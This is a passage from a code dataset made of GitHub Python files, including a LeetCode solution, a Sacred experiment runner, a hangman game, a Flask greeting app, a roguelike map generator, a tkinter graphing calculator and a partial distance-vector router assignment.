= [10]\n# 输出:\"10\"\n# \n# \n# \n# \n# 提示:\n# \n# \n# 1 \n# 0 \n# \n# \n#\n\n# @lc code=start\nclass Solution:\n def largestNumber(self, nums: List[int]) -> str:\n nums=list(map(str,nums))\n nums.sort(key=cmp_to_key(lambda x, y: x+y>y+x))\n res= str(int(\"\".join(nums)))\n return res\n\n\n# @lc code=end\n\n","repo_name":"xiying/Algorithm_Python","sub_path":"179.最大数.py","file_name":"179.最大数.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4297230087","text":"from experiment import ex\r\nfrom sacred.observers import MongoObserver, FileStorageObserver\r\nimport logging\r\nimport sys\r\n\r\nlog = logging.getLogger(\"root\")\r\nlog.handlers = []\r\n\r\nlog_format = logging.Formatter(\r\n \"[{levelname:.1s}] {asctime} || {name} - {message}\", style=\"{\"\r\n)\r\n\r\nstreamhandler = logging.StreamHandler(sys.stdout)\r\nstreamhandler.setFormatter(log_format)\r\nlog.addHandler(streamhandler)\r\n\r\nlog.setLevel(\"INFO\")\r\nex.logger = log\r\n\r\nmobs = MongoObserver(\r\n url=\"curtiz:27017\",\r\n db_name=\"sbartkow_sacred\",\r\n username=\"sbartkow\",\r\n password=open(\"/home/sbartkow/.mongodb_password\")\r\n .read()\r\n .replace(\"\\n\", \"\"),\r\n authSource=\"admin\",\r\n)\r\nex.observers.append(mobs)\r\n\r\nfs_observer = FileStorageObserver(basedir='/home/sbartkow/code/my_runs')\r\nex.observers.append(fs_observer)\r\n\r\nr = ex.run()\r\n","repo_name":"Gandrinor/ActivityRecognitionAndOOD-Detection","sub_path":"sacred_test/SacredTest.py","file_name":"SacredTest.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36058487862","text":"import random\nimport words\nimport logo\n\nprint(logo.logo) # adding a logo\n\nselected_word = words.word_list[random.randint(0, len(words.word_list) - 1)] # picking a random word\nblank_word = [] # preparing an empty list\ntries = 6 # number of tries is standard\n\nfor _ in range(len(selected_word)): # filling the blank list with dashes of the same number with selected word\n blank_word.append('_')\n\nwhile tries != 0 and blank_word.count('_') != 0: # defining the condition: untill tries are not zero and there are still dashes in the blank_word\n guess = input('Guess a letter: \\n').lower()\n\n if guess in blank_word:\n print(f'You have already guessed this letter.')\n\n for i in range(0, len(selected_word)):\n letter = selected_word[i]\n if letter == guess:\n blank_word[i] = letter\n print(blank_word)\n if blank_word.count('_') == 0:\n print('You won! 🎉')\n break \n \n if guess not in selected_word:\n tries -= 1\n print(f'Wrong guess! Tries left: {tries}')\n if tries == 0:\n print(f'You lost! ☠️ The word was: {selected_word}.')\n\n\n\n \n","repo_name":"Anveks/Python-Basics","sub_path":"games/hangman/hangman-game.py","file_name":"hangman-game.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70123338347","text":"import pandas as pd\nfrom . import globals\n\nclass DataHandler:\n def __init__(self):\n self.filter = pd.read_csv(globals.PATH_CSV_FILTER)\n self.data = pd.read_csv(globals.PATH_CSV_DATA)\n\n def get_filter_data(self):\n # Return a dictionary with QIName as key, referenceDataColumns as value, and commentsInfo as comment\n qi_info = {}\n check_unique_column = set() # Utiliser un ensemble pour garantir l'unicité des colonnes\n for _, row in self.filter.iterrows():\n # Vérifie si la colonne 'referenceDataColumns' existe dans le DataFrame\n if 'referenceDataColumns' in row.index and pd.notna(row['referenceDataColumns']):\n reference_column = row['referenceDataColumns']\n if reference_column not in check_unique_column:\n qi_name = row['QIName']\n qi_info[qi_name] = {'referenceDataColumns': reference_column, 'commentsInfo': row['commentsInfo']}\n check_unique_column.add(reference_column)\n return qi_info \n\n def get_data(self):\n return self.data","repo_name":"Gammelinne/ResQDashboard","sub_path":"utils/data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3080666992","text":"\"\"\"Greeting Flask app.\"\"\"\n\nfrom random import choice\n\nfrom flask import Flask, request, render_template \n\n# \"__name__\" is a special Python variable for the name of the current module\n# Flask wants to know this to know what any imported things are relative to.\napp = Flask(__name__)\n\nAWESOMENESS = [\n 'awesome', 'terrific', 'fantastic', 'neato', 'fantabulous', 'wowza',\n 'oh-so-not-meh', 'brilliant', 'ducky', 'coolio', 'incredible',\n 'wonderful', 'smashing', 'lovely']\n\n\n@app.route(\"/\")\ndef start_here():\n \"\"\"Home page.\"\"\"\n return render_template(\"start.html\")\n\n\n@app.route(\"/hello\")\ndef say_hello():\n \"\"\"Say hello and prompt for user's name.\"\"\"\n\n return render_template(\"hello.html\")\n\n\n@app.route(\"/greet\")\ndef greet_person():\n \"\"\"Get user by name.\"\"\"\n\n player = request.args.get(\"person\")\n\n compliment = request.args.get(\"compliments\")\n diss = request.args.get(\"diss\")\n\n\n return render_template(\"greet.html\", \n person=player, compliment=compliment, diss=diss)\n\n\n\nif __name__ == \"__main__\":\n # debug=True gives us error messages in the browser and also \"reloads\"\n # our web app if we change the code.\n app.run(debug=True, host=\"0.0.0.0\")\n","repo_name":"michellepujals/flask-intro-with-jinja","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39435532791","text":"from random import randint\n\nimport libtcodpy as libtcod\nfrom components.stairs import Stairs\nfrom game_messages import Message\nfrom map_objects.entity import Entity\nfrom map_objects.item_factory import ItemFactory\nfrom map_objects.monster_factory import MonsterFactory\nfrom map_objects.map_room import Room\nfrom map_objects.spawner_factory import SpawnerFactory\nfrom map_objects.tile import Tile\nfrom random_utils import from_dungeon_level\nfrom render_functions import RenderOrder\n\n\nclass GameMap:\n \"\"\"\n Game Map\n Tracks location and state of all tiles\n Performs random map generation\n \"\"\"\n\n def __init__(self, width, height, monster_dict, item_dict, dungeon_level=1):\n \"\"\"\n Create a new Game Map\n :param width: Width of map in tiles\n :param height: Height of map in tiles\n :param monster_dict:\n :param dungeon_level:\n \"\"\"\n self.width = width\n self.height = height\n self.tiles = self.initialize_tiles()\n self.monster_dict = monster_dict\n self.item_dict = item_dict\n self.dungeon_level = dungeon_level\n\n self.monster_chances = {}\n for key, settings in monster_dict.items():\n self.monster_chances[key] = from_dungeon_level(settings['likelihood'], dungeon_level)\n\n self.item_chances = {}\n for key, settings in item_dict.items():\n self.item_chances[key] = from_dungeon_level(settings['likelihood'], dungeon_level)\n\n # noinspection PyUnusedLocal\n def initialize_tiles(self, default_block=True):\n tiles = [[Tile(default_block) for y in range(self.height)] for x in range(self.width)]\n\n return tiles\n\n def make_map(self, max_rooms, room_min_size, room_max_size, map_width, map_height, player, entities):\n \"\"\"\n Create a random map\n :param int max_rooms:\n :param int room_min_size:\n :param int room_max_size:\n :param int map_width:\n :param int map_height:\n :param Entity player:\n :param list entities:\n \"\"\"\n\n rooms = []\n num_rooms = 0\n center_of_last_room_x = None\n center_of_last_room_y = None\n\n for r in range(max_rooms):\n # Generate a room\n w = randint(room_min_size, room_max_size)\n h = randint(room_min_size, room_max_size)\n x = randint(0, map_width - w - 1)\n y = randint(0, map_height - h - 1)\n new_room = Room(x, y, w, h)\n\n for other_room in rooms:\n # If the room overlaps an existing room try again\n if new_room.intersect(other_room):\n break\n # If the room placement is legal\n else:\n self.create_room(new_room)\n (new_x, new_y) = new_room.center()\n center_of_last_room_x = new_x\n center_of_last_room_y = new_y\n is_first_room = False\n\n # If this is the first room, start the player there.\n if num_rooms == 0:\n is_first_room = True\n player.x = new_x\n player.y = new_y\n else:\n # If it's not the first room connect it to an existing room.\n\n (prev_x, prev_y) = rooms[num_rooms - 1].center()\n # Randomly determine corridor arrangement.\n if randint(0, 1) == 1:\n # Horizontal tunnel, then Vertical\n self.create_h_tunnel(prev_x, new_x, prev_y)\n self.create_v_tunnel(prev_y, new_y, new_x)\n else:\n # Vertical tunnel, then Horizontal\n self.create_v_tunnel(prev_y, new_y, prev_x)\n self.create_h_tunnel(prev_x, new_x, new_y)\n\n self.place_entities(new_room, entities, is_first_room)\n # Add room to list\n rooms.append(new_room)\n num_rooms += 1\n\n stairs_component = Stairs(self.dungeon_level + 1)\n down_stairs = Entity(center_of_last_room_x, center_of_last_room_y, '>', libtcod.white, 'Stairs',\n render_order=RenderOrder.STAIRS, stairs=stairs_component)\n entities.append(down_stairs)\n\n def create_room(self, room):\n \"\"\"\n Add a room to the map and set tiles in a room to be Passable\n :param Room room: a room-defining rectangle\n \"\"\"\n for x in range(room.x1 + 1, room.x2):\n for y in range(room.y1 + 1, room.y2):\n self.tiles[x][y].block(False)\n\n def create_h_tunnel(self, x1, x2, y):\n \"\"\"\n Create a tunnel\n :param int x1: Start of Tunnel\n :param int x2: End of Tunnel\n :param int y: The y position of the tunnel\n \"\"\"\n for x in range(min(x1, x2), max(x1, x2) + 1):\n self.tiles[x][y].block(False)\n\n def create_v_tunnel(self, y1, y2, x):\n \"\"\"\n Create a vertical tunnel\n :param int y1: Start of Tunnel\n :param int y2: End of Tunnel\n :param int x: X position of the tunnel\n \"\"\"\n for y in range(min(y1, y2), max(y1, y2) + 1):\n self.tiles[x][y].block(False)\n\n def place_entities(self, room, entities, is_first_room):\n \"\"\"\n Set some random monsters in this room\n :param room: The room rectangle to add monsters\n :param entities: A list of monsters and their locations in the map\n :param is_first_room: Is this the first room in the maze.\n \"\"\"\n # TODO: Load from Game Settings\n max_monsters_per_room = from_dungeon_level([[4, 1], [7, 4], [10, 6]], self.dungeon_level)\n max_items_per_room = from_dungeon_level([[1, 1], [2, 4]], self.dungeon_level)\n\n room.monster_limit = randint(0, max_monsters_per_room)\n number_of_items = randint(0, max_items_per_room)\n\n if not is_first_room:\n monster_count = 0\n while monster_count < room.monster_limit:\n x, y = room.random_point()\n monster = MonsterFactory.get_monster(self.monster_dict, self.monster_chances,\n entities, x, y)\n if monster and monster_count + monster.count_value <= room.monster_limit:\n entities.append(monster)\n monster_count += monster.count_value\n\n # TODO: Clean This Up\n if randint(0, 2) == 0:\n x, y = room.random_point()\n spawner = SpawnerFactory.get_monster_spawner(self.monster_dict, self.monster_chances,\n entities, x, y, room)\n entities.append(spawner)\n\n item_count = 0\n while item_count < number_of_items:\n x, y = room.random_point()\n item = ItemFactory.get_item(self.item_dict, self.item_chances, entities, x, y)\n if item and item_count + item.count_value <= number_of_items:\n entities.append(item)\n item_count += item.count_value\n\n def is_blocked(self, x, y):\n \"\"\"\n Check to see if a tile blocks movement\n :param int x:\n :param int y:\n :return boolean: True if tile blocks movement\n \"\"\"\n if self.tiles[x][y].block_move:\n return True\n\n return False\n\n def next_floor(self, player, message_log, constants):\n \"\"\"\n Prepare the next level of the dungeon\n :param Entity player: the Player (@)\n :param game_messages.MessageLog message_log:game message log\n :param dict constants: Game constants\n :return list: entities on map\n \"\"\"\n self.dungeon_level += 1\n entities = [player]\n self.tiles = self.initialize_tiles(True)\n self.make_map(constants['max_rooms'], constants['room_min_size'], constants['room_max_size'],\n constants['map_width'], constants['map_height'], player, entities)\n\n player.fighter.heal(player.fighter.max_hp // 2)\n message_log.add_message(Message('You take a moment to rest and recover your strength.', libtcod.violet))\n\n return entities\n","repo_name":"Kehvarl/Roguelike","sub_path":"map_objects/game_map.py","file_name":"game_map.py","file_ext":"py","file_size_in_byte":8267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10369878257","text":"from tkinter import *\r\nfrom math import *\r\nimport tkinter.font as tkFont\r\nfrom tkinter import messagebox\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nclass Calculator:\r\n def __init__(self, master):\r\n self.pi_symbol = chr(960)\r\n self.multiplication_symbol = chr(215)\r\n self.division_symbol = chr(247)\r\n self.exponent_symbol = 'x\\u02B8'\r\n self.square_symbol = 'x\\u00b2'\r\n self.two_power = '2\\u02E3'\r\n self.euler_power = 'e\\u02E3'\r\n self.x_inverse = 'x\\u207B\\u00B9'\r\n self.square_root = chr(8730)\r\n self.textEntry = \"\"\r\n self.list_expression = []\r\n self.algebra = True\r\n self.operators = (self.multiplication_symbol, self.division_symbol, \"+\", \"-\", \"^\", \"%\")\r\n self.features = (\r\n \"2^\", \"cos(\", \"sin(\", \"tan(\", \"log(\", \"1\" + self.division_symbol, \"ln(\", \"e\", \"e^(\", self.pi_symbol,\r\n self.square_root, \"abs(\")\r\n\r\n self.frame = Frame(master, width=400, height=500, background=\"grey\", highlightbackground=\"red\",\r\n highlightthickness=1).place(relx=0.5, rely=0.5, anchor=CENTER)\r\n\r\n self.entryFontStyle = tkFont.Font(family=\"Lucida Grande\", size=18)\r\n self.Expression = Entry(self.frame, font=self.entryFontStyle, width=25, justify=\"right\", bg=\"WHITE\")\r\n\r\n self.One = Button(self.frame, text=\"1\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"1\"))\r\n self.Two = Button(self.frame, text=\"2\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"2\"))\r\n self.Three = Button(self.frame, text=\"3\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"3\"))\r\n self.Four = Button(self.frame, text=\"4\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"4\"))\r\n self.Five = Button(self.frame, text=\"5\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"5\"))\r\n self.Six = Button(self.frame, text=\"6\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"6\"))\r\n self.Seven = Button(self.frame, text=\"7\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"7\"))\r\n self.Eight = Button(self.frame, text=\"8\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"8\"))\r\n self.Nine = Button(self.frame, text=\"9\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"9\"))\r\n self.Zero = Button(self.frame, text=\"0\", height=1, width=18, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"0\"))\r\n self.Decimal = Button(self.frame, text=\".\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\".\"))\r\n\r\n self.Quit = Button(self.frame, text=\"Quit\", bg=\"red\", height=1, width=20, command=quit)\r\n\r\n self.Delete = Button(self.frame, text=\"DEL\", height=1, width=8, bg=\"YELLOW\",\r\n command=self.popStringExpression)\r\n self.Clear = Button(self.frame, text=\"CLR\", height=1, width=8, bg=\"YELLOW\",\r\n command=self.clearStringExpression)\r\n self.Multiply = Button(self.frame, text=self.multiplication_symbol, height=1, width=8, bg=\"YELLOW\",\r\n command=lambda: self.appendStringExpression(self.multiplication_symbol))\r\n self.Divide = Button(self.frame, text=self.division_symbol, height=1, width=8, bg=\"YELLOW\",\r\n command=lambda: self.appendStringExpression(self.division_symbol))\r\n self.Add = Button(self.frame, text=\"+\", height=1, width=8, bg=\"YELLOW\",\r\n command=lambda: self.appendStringExpression(\"+\"))\r\n self.Subtract = Button(self.frame, text=\"-\", height=1, width=8, bg=\"YELLOW\",\r\n command=lambda: self.appendStringExpression(\"-\"))\r\n self.Modulus = Button(self.frame, text=\"%\", height=1, width=8, bg=\"YELLOW\",\r\n command=lambda: self.appendStringExpression(\"%\"))\r\n self.executeAlgebra = Button(self.frame, text=\"EXE\", height=1, width=8, bg=\"YELLOW\",\r\n command=self.stringToList)\r\n\r\n self.executeGraph = Button(self.frame, text=\"EXE\", height=1, width=8, bg=\"YELLOW\",\r\n command=self.graphFunction)\r\n\r\n self.Euler = Button(self.frame, text=\"e\", height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"e\"))\r\n self.EulerPower = Button(self.frame, text=self.euler_power, height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"e^(\"))\r\n self.ln = Button(self.frame, text=\"ln\", height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"ln(\"))\r\n self.log = Button(self.frame, text=\"log\", height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"log(\"))\r\n\r\n self.Pi = Button(self.frame, text=self.pi_symbol, height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(self.pi_symbol))\r\n self.sin = Button(self.frame, text=\"sin\", height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"sin(\"))\r\n self.cos = Button(self.frame, text=\"cos\", height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"cos(\"))\r\n self.tan = Button(self.frame, text=\"tan\", height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"tan(\"))\r\n\r\n self.SquareRoot = Button(self.frame, text=self.square_root, height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(self.square_root + \"(\"))\r\n self.square = Button(self.frame, text=self.square_symbol, height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"^2\"))\r\n self.XInverse = Button(self.frame, text=self.x_inverse, height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"1\" + self.division_symbol))\r\n self.exp = Button(self.frame, text=self.exponent_symbol, height=1, width=11, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"^(\"))\r\n\r\n self.AbsoluteValue = Button(self.frame, text=\"|x|\", height=1, width=8, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"abs(\"))\r\n self.factorial = Button(self.frame, text=\"x!\", height=1, width=8, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"!\"))\r\n self.TwoPower = Button(self.frame, text=self.two_power, height=1, width=8, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"2^\"))\r\n self.OpenBracket = Button(self.frame, text=\"(\", height=1, width=8, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\"(\"))\r\n self.ClosingBrcket = Button(self.frame, text=\")\", height=1, width=8, bg=\"GREEN\",\r\n command=lambda: self.appendStringExpression(\")\"))\r\n\r\n self.Graph = Button(self.frame, text=\"Graph\", height=2, width=5, bg=\"ORANGE\", command=self.changeToGraph)\r\n\r\n self.Back = Button(self.frame, text=\"BACK\", height=2, width=5, bg=\"ORANGE\", command=self.changetoNormal)\r\n\r\n self.X = Button(self.frame, text=\"X\", height=1, width=8, bg=\"ORANGE\",\r\n command=lambda: self.appendStringExpression(\"X\"))\r\n\r\n self.Domain = Label(self.frame, text='Domain', height=2, width=7, bg=\"ORANGE\")\r\n\r\n self.X1 = Entry(self.frame, font=self.entryFontStyle, width=3, justify=\"right\", bg=\"WHITE\")\r\n self.X2 = Entry(self.frame, font=self.entryFontStyle, width=3, justify=\"right\", bg=\"WHITE\")\r\n\r\n self.placeWidgets()\r\n\r\n def placeWidgets(self):\r\n self.Expression.place(x=205, y=140, height=65)\r\n\r\n self.One.place(x=180, y=400)\r\n self.Two.place(x=250, y=400)\r\n self.Three.place(x=320, y=400)\r\n self.Four.place(x=180, y=430)\r\n self.Five.place(x=250, y=430)\r\n self.Six.place(x=320, y=430)\r\n self.Seven.place(x=180, y=460)\r\n self.Eight.place(x=250, y=460)\r\n self.Nine.place(x=320, y=460)\r\n self.Zero.place(x=180, y=490)\r\n self.Decimal.place(x=320, y=490)\r\n\r\n self.Quit.place(x=300, y=540)\r\n\r\n self.Delete.place(x=415, y=400)\r\n self.Clear.place(x=485, y=400)\r\n self.Multiply.place(x=415, y=430)\r\n self.Divide.place(x=485, y=430)\r\n self.Add.place(x=415, y=460)\r\n self.Subtract.place(x=485, y=460)\r\n self.Modulus.place(x=415, y=490)\r\n self.executeAlgebra.place(x=485, y=490)\r\n\r\n self.Euler.place(x=185, y=260)\r\n self.EulerPower.place(x=280, y=260)\r\n self.ln.place(x=375, y=260)\r\n self.log.place(x=470, y=260)\r\n\r\n self.Pi.place(x=185, y=290)\r\n self.sin.place(x=280, y=290)\r\n self.cos.place(x=375, y=290)\r\n self.tan.place(x=470, y=290)\r\n\r\n self.SquareRoot.place(x=185, y=320)\r\n self.square.place(x=280, y=320)\r\n self.XInverse.place(x=375, y=320)\r\n self.exp.place(x=470, y=320)\r\n\r\n self.AbsoluteValue.place(x=185, y=350)\r\n self.factorial.place(x=261, y=350)\r\n self.TwoPower.place(x=337, y=350)\r\n self.OpenBracket.place(x=414, y=350)\r\n self.ClosingBrcket.place(x=490, y=350)\r\n\r\n self.Graph.place(x=490, y=210)\r\n\r\n def appendStringExpression(self, stringAdded):\r\n string = self.Expression.get()\r\n if stringAdded in self.features:\r\n try:\r\n if not (string[-1] in self.operators or string[-1] == \"(\"):\r\n stringAdded = self.multiplication_symbol + stringAdded\r\n except:\r\n pass\r\n string += stringAdded\r\n self.Expression.delete(0, \"end\")\r\n self.Expression.insert(0, string)\r\n\r\n def popStringExpression(self):\r\n string = self.Expression.get()\r\n string = string[0:-1]\r\n self.Expression.delete(0, \"end\")\r\n self.Expression.insert(0, string)\r\n\r\n def clearStringExpression(self):\r\n self.Expression.delete(0, \"end\")\r\n self.Expression.insert(0, \"\")\r\n\r\n def stringToList(self):\r\n self.list_expression = []\r\n string = self.Expression.get()\r\n position = 0\r\n for character in string:\r\n if character == \"^\":\r\n self.list_expression.append(\"**\")\r\n elif character == self.multiplication_symbol:\r\n self.list_expression.append(\"*\")\r\n elif character == self.division_symbol:\r\n self.list_expression.append(\"/\")\r\n elif character == self.pi_symbol:\r\n self.list_expression.append(str(pi))\r\n elif character == self.square_root:\r\n self.list_expression.append(\"sqrt\")\r\n elif character == \"g\":\r\n self.list_expression.append(\"g10\")\r\n elif character == \"n\" and string[position - 1] == \"l\":\r\n self.list_expression.append(\"og\")\r\n elif character == \"!\":\r\n self.list_expression.append(\"!\")\r\n self.convertFactorial(position)\r\n else:\r\n self.list_expression.append(character)\r\n position = position + 1\r\n\r\n if self.algebra == True:\r\n self.calculateExpression()\r\n\r\n def convertFactorial(self, position):\r\n self.list_expression.pop(position)\r\n self.list_expression.insert(position, \")\")\r\n position = position - 1\r\n try:\r\n if self.list_expression[position] == \")\":\r\n stack = [\")\"]\r\n while len(stack) != 0:\r\n position = position - 1\r\n if self.list_expression[position] == \")\":\r\n stack.append(\")\")\r\n elif self.list_expression[position] == \"(\":\r\n stack.pop()\r\n self.list_expression.insert(position, \"fact(\")\r\n\r\n elif self.list_expression[position].isdigit():\r\n while self.list_expression[position - 1].isdigit():\r\n position = position - 1\r\n self.list_expression.insert(position, \"fact(\")\r\n else:\r\n pass\r\n except:\r\n pass\r\n\r\n def calculateExpression(self):\r\n try:\r\n stringExpression = ''.join(self.list_expression)\r\n result = round(eval(stringExpression), 6)\r\n self.displayResult(str(result))\r\n except:\r\n messagebox.showerror(\"INVALID\", \"Expression is not valid\\n\\tOR\\n Value out of Range\")\r\n\r\n def displayResult(self, result_string):\r\n self.Expression.delete(0, \"end\")\r\n self.Expression.insert(0, result_string)\r\n\r\n def changeToGraph(self):\r\n self.algebra = False\r\n self.clearStringExpression()\r\n self.Graph.place_forget()\r\n self.Zero.place_forget()\r\n self.Decimal.place_forget()\r\n self.executeAlgebra.place_forget()\r\n self.Zero = Button(self.frame, text=\"0\", height=1, width=8, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"0\"))\r\n self.Zero.place(x=180, y=490)\r\n self.Decimal.place(x=250, y=490)\r\n self.X.place(x=320, y=490)\r\n self.Back.place(x=490, y=210)\r\n self.Domain.place(x=205, y=210)\r\n self.X1.place(x=275, y=210, height=35)\r\n self.X2.place(x=330, y=210, height=35)\r\n self.executeGraph.place(x=485, y=490)\r\n\r\n def changetoNormal(self):\r\n self.algebra = True\r\n self.clearStringExpression()\r\n self.Back.place_forget()\r\n self.Zero.place_forget()\r\n self.X.place_forget()\r\n self.Decimal.place_forget()\r\n self.Domain.place_forget()\r\n self.X1.place_forget()\r\n self.X2.place_forget()\r\n self.executeGraph.place_forget()\r\n self.Zero = Button(self.frame, text=\"0\", height=1, width=18, bg=\"BLUE\",\r\n command=lambda: self.appendStringExpression(\"0\"))\r\n self.Zero.place(x=180, y=490)\r\n self.Decimal.place(x=320, y=490)\r\n self.Graph.place(x=490, y=210)\r\n self.executeAlgebra.place(x=485, y=490)\r\n\r\n def graphFunction(self):\r\n self.stringToList()\r\n try:\r\n x1 = float(self.X1.get())\r\n x2 = float(self.X2.get())\r\n except:\r\n messagebox.showerror(\"INVALID\", \"Domain not Valid\")\r\n\r\n X = []\r\n y = []\r\n f = x1\r\n copy = True\r\n try:\r\n while f <= x2:\r\n for i, char in enumerate(self.list_expression):\r\n if char == 'X':\r\n if copy:\r\n list = self.list_expression.copy()\r\n copy = False\r\n list[i] = '(' + str(f) + ')'\r\n try:\r\n y.append(round(eval(''.join(list)), 6))\r\n X.append(f)\r\n copy = True\r\n except:\r\n messagebox.showerror(\"INVALID\", \"\\t Function is not valid\\n\\t\\tOR\\n Domain specified is not the \"\r\n \"domain of the function\")\r\n break\r\n f += 0.01\r\n except:\r\n pass\r\n if len(y) != 0:\r\n plt.plot(X, y, color=\"BLUE\")\r\n plt.show()\r\n\r\n\r\nwindow = Tk()\r\nwindow.title(\"Calculator\")\r\nwindow.geometry(\"750x650\")\r\ncalculator = Calculator(window)\r\nwindow.resizable(0, 0)\r\nwindow.mainloop()\r\n","repo_name":"Atul-Acharya-17/Calculator","sub_path":"Graphing Calculator.py","file_name":"Graphing Calculator.py","file_ext":"py","file_size_in_byte":16233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42332947837","text":"\"\"\"Your awesome Distance Vector router for CS 168.\"\"\"\nimport math\n\nimport sim.api as api\nimport sim.basics as basics\n\n# We define infinity as a distance of 16.\nINFINITY = 16\n\nclass DVRouter(basics.DVRouterBase):\n # NO_LOG = True # Set to True on an instance to disable its logging\n # POISON_MODE = True # Can override POISON_MODE here\n # DEFAULT_TIMER_INTERVAL = 5 # Can override this yourself for testing\n\n def __init__(self):\n \"\"\"\n Called when the instance is initialized.\n\n You probably want to do some additional initialization here.\n\n \"\"\"\n\n self.start_timer() # Starts calling handle_timer() at correct rate\n\n #ports : latency\n self.neighbor_ports = {}\n\n #dst : { port : [ latency, expiration] }\n self.dv_table = {}\n\n def handle_link_up(self, port, latency):\n \"\"\"\n Called by the framework when a link attached to this Entity goes up.\n\n The port attached to the link and the link latency are passed\n in.\n\n \"\"\"\n\n self.neighbor_ports[port] = latency\n for destination in self.dv_table:\n dict_ports = self.dv_table[destination]\n rt_port, lat = self.get_shortest_route(dict_ports)\n route_packet = basics.RoutePacket(destination, lat)\n self.send(route_packet, port)\n\n #just send all my entire table to new neighbor\n\n def handle_link_down(self, port):\n \"\"\"\n Called by the framework when a link attached to this Entity does down.\n\n The port number used by the link is passed in.\n\n \"\"\"\n # for all case you want to remove from the table dv table and port table\n self.neighbor_ports.pop(port)\n copy_table = dict(self.dv_table)\n for dst in copy_table:\n if port in self.dv_table[dst]:\n self.dv_table[dst].pop(port)\n key_port, cost = self.get_shortest_route(self.dv_table[dst])\n # if key_port is None:\n if len(self.dv_table[dst]) == 0:\n self.dv_table.pop(dst)\n if self.POISON_MODE:\n route_packet = basics.RoutePacket(dst, INFINITY)\n self.send(route_packet, flood=True)\n\n #update my neighbors that i don't have access to this host\n\n def handle_rx(self, packet, port):\n \"\"\"\n Called by the framework when this Entity receives a packet.\n\n packet is a Packet (or subclass).\n port is the port number it arrived on.\n\n You definitely want to fill this in.\n\n \"\"\"\n #self.log(\"RX %s on %s (%s)\", packet, port, api.current_time())\n if isinstance(packet, basics.RoutePacket):\n dest = packet.destination\n lat = packet.latency\n lat_from_port = self.neighbor_ports[port]\n\n\n # if lat == INFINITY:\n # self.dv_table.pop(dest)\n # return\n # else:\n recalc_lat = lat + lat_from_port\n if lat == INFINITY:\n recalc_lat = INFINITY\n lst = [recalc_lat, self.ROUTE_TIMEOUT]\n if dest not in self.dv_table:\n self.dv_table[dest] = {port: lst}\n else:\n self.dv_table[dest][port] = lst\n\n\n elif isinstance(packet, basics.HostDiscoveryPacket):\n # dst of h1 : {port 0 : [latency, exp], port 1 : [latency, exp]}\n src = packet.src\n latency_to_host = self.neighbor_ports[port]\n\n tmp = {port: [latency_to_host, None]}\n if src in self.dv_table:\n self.dv_table[src][port] = [latency_to_host, None]\n else:\n self.dv_table[src] = tmp\n\n else:\n # Totally wrong behavior for the sake of demonstration only: send\n # the packet back to where it came from!\n\n if packet.src == packet.dst:\n return\n\n if packet.dst not in self.dv_table:\n return\n\n dict_ports = self.dv_table[packet.dst]\n rt_port, lat = self.get_shortest_route(dict_ports)\n if lat == INFINITY:\n self.log(\"Too Infinity and Beyond\")\n return\n self.send(packet, rt_port)\n\n\n\n def handle_timer(self):\n \"\"\"\n Called periodically.\n\n When called, your router should send tables to neighbors. It\n also might not be a bad place to check for whether any entries\n have expired.\n\n \"\"\"\n #every 5 seconds the route sends out Route Packets\n\n self.decrement_expiration_time()\n\n for destination in self.dv_table:\n dict_ports = self.dv_table[destination]\n rt_port, lat = self.get_shortest_route(dict_ports)\n route_packet = basics.RoutePacket(destination, lat)\n self.send(route_packet, rt_port, flood=True)\n\n #route is identified by its port and dst\n def get_shortest_route(self, dict_ports):\n min_cost = INFINITY\n key_port = None\n\n for port, lst in dict_ports.items():\n lat = lst[0]\n if lat < min_cost:\n min_cost = lat\n key_port = 